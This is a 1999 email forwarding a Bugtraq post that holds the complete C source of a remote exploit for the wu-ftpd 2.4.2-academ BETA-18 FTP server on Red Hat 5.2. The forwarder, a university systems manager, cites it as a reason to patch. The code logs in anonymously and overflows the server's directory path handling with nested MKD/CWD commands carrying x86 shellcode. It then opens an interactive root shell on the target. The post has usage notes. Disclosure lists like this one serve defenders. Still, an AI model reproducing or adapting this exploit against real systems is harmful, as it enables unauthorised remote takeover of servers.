Subject: Fwd: ftp exploit (Why you should update wu-ftpd on your system)

From: Chad Price <[email-masked]>
Date: Tue, 23 Mar 1999 08:55:47 -0600

Subject: Fwd: ftp exploit (Why you should update wu-ftpd on your system)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"

>Approved-By: [email-masked]
>Date: 	Mon, 22 Mar 1999 17:10:23 +0100
>Reply-To: Pieter Nieuwenhuijsen <[email-masked]>
>Sender: Bugtraq List <[email-masked]>
>From: Pieter Nieuwenhuijsen <[email-masked]>
>Subject:      ftp exploit
>To: [email-masked]
>
>/*
>        THIS IS PRIVATE! DO NOT DISTRIBUTE!!!!   PRIVATE!
>
>        WU-FTPD REMOTE EXPLOIT Version wu-2.4.2-academ[BETA-18](1)
>        for linux x86 (redhat 5.2)
>
>        by duke
>        [email-masked]
>
>        BIG thanks to stran9er for alot of help with part of the shellcode!
>        i fear stran9er, but who doesn't? !@$ :)
>
>        Greets to: #!ADM, el8.org users,
>
>        To exploit this remotely they need to have a directory you can
>        have write privlidges to.. this is the <dir> argument.. you can
>        also use this locally by specifying -l <ur login> -p <urpass> with the
>        <dir> = your home directory or something..(must begin with '/')
>        also alignment arg is how return address  is aligned.. shouldnt need 
>it,
>        but if u do it should be between 0 and 3
>
>        It takes about 10 seconds after "logged in" so be patient.
>        -duke
>*/
>
>#include <stdio.h>
>#include <string.h>
>#include <netdb.h>
>#include <netinet/in.h>
>#include <sys/socket.h>
>#include <sys/types.h>
>//#include <linux/time.h>
>//#include <sys/select.h>
>#include <sys/time.h>
>#include <unistd.h>
>
>#define RET 0xbfffa80f
>
>void logintoftp();
>void sh();
>void mkd(char *);
>int max(int, int);
>long getip(char *name);
>
>char shellcode[] =
>"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\xb0\x17\xcd\x80"
>"\x31\xc0\x31\xdb\xb0\x2e\xcd\x80"
>"\xeb\x4f\x31\xc0\x31\xc9\x5e\xb0\x27\x8d\x5e\x05\xfe\xc5\xb1\xed"
>"\xcd\x80\x31\xc0\x8d\x5e\x05\xb0\x3d\xcd\x80\x31\xc0\xbb\xd2\xd1"
>"\xd0\xff\xf7\xdb\x31\xc9\xb1\x10\x56\x01\xce\x89\x1e\x83\xc6\x03"
>"\xe0\xf9\x5e\xb0\x3d\x8d\x5e\x10\xcd\x80\x31\xc0\x88\x46\x07\x89"
>"\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd"
>"\x80\xe8\xac\xff\xff\xff";
>
>char tmp[256];
>char name[128], pass[128];
>
>int sockfd;
>
>int main(int argc, char **argv)
>{
>        char sendln[1024], recvln[4048], buf1[800], buf2[1000];
>        char *p, *q, arg, **fakeargv = (char **) malloc(sizeof(char *)*(argc 
>+ 1));
>        int len, offset = 0, i, align=0;
>        struct sockaddr_in cli;
>
>        if(argc < 3){
>                printf("usage: %s <host> <dir> [-l name] [-p pass] [-a 
><alignment>] [-o offset]\n", argv[0]);
>                exit(0);
>        }
>
>        for(i=0; i < argc; i++) {
>          fakeargv[i] = (char *)malloc(strlen(argv[i]) + 1);
>          strncpy(fakeargv[i], argv[i], strlen(argv[i]) + 1);
>        }
>
>        fakeargv[argc] = NULL;
>
>
>        while((arg = getopt(argc,fakeargv,"l:p:a:o:")) != EOF){
>            switch(arg) {
>                  case 'l':
>                     strncpy(name,optarg,128);
>                     break;
>                  case 'p':
>                     strncpy(pass,optarg,128);
>                     break;
>                  case 'a':
>                     align=atoi(optarg);
>                     break;
>                  case 'o':
>                     offset=atoi(optarg);
>                     break;
>                  default:
>                     printf("usage: %s <host> <dir> [-l name] [-p pass] [-a 
><alignment>] [-o offset]\n", argv[0]);
>                     exit(0);
>                     break;
>             }
>        }
>
>        if(name[0] == 0) strcpy(name, "anonymous");
>        if(pass[0] == 0) strcpy(pass, "[email-masked]");
>
>
>        bzero(&cli, sizeof(cli));
>        bzero(recvln, sizeof(recvln));
>        bzero(sendln, sizeof(sendln));
>        cli.sin_family = AF_INET;
>        cli.sin_port = htons(21);
>        cli.sin_addr.s_addr=getip(argv[1]);
>
>        if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
>                perror("socket");
>                exit(0);
>        }
>
>        if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0){
>                perror("connect");
>                exit(0);
>        }
>        while((len = read(sockfd, recvln, sizeof(recvln))) > 0){
>                recvln[len] = '\0';
>                if(strchr(recvln, '\n') != NULL)
>                        break;
>        }
>        logintoftp(sockfd);
>        printf("logged in.\n");
>        bzero(sendln, sizeof(sendln));
>
>        for(i=align; i<996; i+=4)
>                *(long *)&buf2[i] = RET + offset;
>        memcpy(buf2, "a", align);
>        memset(buf1, 0x90, 800);
>        memcpy(buf1, argv[2], strlen(argv[2]));
>        mkd(argv[2]);
>        p = &buf1[strlen(argv[2])];
>        q = &buf1[799];
>        *q = '\x0';
>        while(p <= q){
>                strncpy(tmp, p, 200);
>                mkd(tmp);
>                p+=200;
>        }
>        mkd(shellcode);
>        mkd("bin");
>        mkd("sh");
>        p = &buf2[0];
>        q = &buf2[999];
>        while(p <= q){
>                strncpy(tmp, p, 250);
>                mkd(tmp);
>                p+=250;
>        }
>        sh(sockfd);
>
>
>        close(sockfd);
>        printf("finit.\n");
>}
>
>void mkd(char *dir)
>{
>        char snd[512], rcv[1024];
>        char blah[1024], *p;
>        int n;
>        struct timeval tv;
>
>        fd_set fds;
>        bzero(&tv, sizeof(tv));
>        tv.tv_usec=50;
>        bzero(blah, sizeof(blah));
>        p = blah;
>         for(n=0; n<strlen(dir); n++){
>                if(dir[n] == '\xff'){
>                        *p = '\xff';
>                        p++;
>                }
>                *p = dir[n];
>                p++;
>        }
>        sprintf(snd, "MKD %s\r\n", blah);
>        write(sockfd, snd, strlen(snd));
>        bzero(snd, sizeof(snd));
>        sprintf(snd, "CWD %s\r\n", blah);
>        write(sockfd, snd, strlen(snd));
>        bzero(rcv, sizeof(rcv));
>
>        FD_ZERO(&fds);
>        FD_SET(sockfd,&fds);
>        select(sockfd+1,&fds,NULL,NULL,&tv);
>
>        if (FD_ISSET(sockfd,&fds))
>                while((n = read(sockfd, rcv, sizeof(rcv))) > 0){
>                        rcv[n] = 0;
>                        if(strchr(rcv, '\n') != NULL)
>                                break;
>                }
>        return;
>}
>
>void logintoftp()
>{
>        char snd[1024], rcv[1024];
>        int n;
>
>        printf("logging in with %s: %s\n", name, pass);
>        memset(snd, '\0', 1024);
>        sprintf(snd, "USER %s\r\n", name);
>        write(sockfd, snd, strlen(snd));
>
>        while((n=read(sockfd, rcv, sizeof(rcv))) > 0){
>                rcv[n] = 0;
>                if(strchr(rcv, '\n') != NULL)
>                        break;
>        }
>
>        memset(snd, '\0', 1024);
>        sprintf(snd, "PASS %s\r\n", pass);
>        write(sockfd, snd, strlen(snd));
>
>        while((n=read(sockfd, rcv, sizeof(rcv))) > 0){
>                rcv[n] = 0;
>                if(strchr(rcv, '\n') != NULL)
>                        break;
>        }
>        return;
>}
>
>void sh()
>{
>        char snd[1024], rcv[1024];
>        fd_set rset;
>        int maxfd, n;
>
>        strcpy(snd, "cd /; uname -a; pwd; id;\n");
>        write(sockfd, snd, strlen(snd));
>
>        for(;;){
>                FD_SET(fileno(stdin), &rset);
>                FD_SET(sockfd, &rset);
>                maxfd = max(fileno(stdin), sockfd) + 1;
>                select(maxfd, &rset, NULL, NULL, NULL);
>                if(FD_ISSET(fileno(stdin), &rset)){
>                        bzero(snd, sizeof(snd));
>                        fgets(snd, sizeof(snd)-2, stdin);
>                        write(sockfd, snd, strlen(snd));
>                }
>                if(FD_ISSET(sockfd, &rset)){
>                        bzero(rcv, sizeof(rcv));
>                        if((n = read(sockfd, rcv, sizeof(rcv))) == 0){
>                                printf("EOF.\n");
>                                exit(0);
>                        }
>                        if(n < 0){
>                                perror("read");
>                                exit(-1);
>                        }
>                        fputs(rcv, stdout);
>                }
>        }
>}
>
>int max(int x, int y)
>{
>        if(x > y)
>                return(x);
>        return(y);
>}
>
>long getip(char *name)
>{
>        struct hostent *hp;
>        long ip;
>
>        if ((ip=inet_addr(name))==-1)
>        {
>                if ((hp=gethostbyname(name))==NULL)
>                {
>                        fprintf(stderr,"Can't resolve host.\n");
>                        exit (1);
>                }
>                memcpy(&ip, (hp->h_addr), 4);
>        }
>        return ip;
>}

Chad Price
Systems Manager
University of Nebraska Medical Center
600 S 42nd St
Omaha, NE 68506-6495
[email-masked]
(402) 559-9527 
(402) 559-4077 (FAX)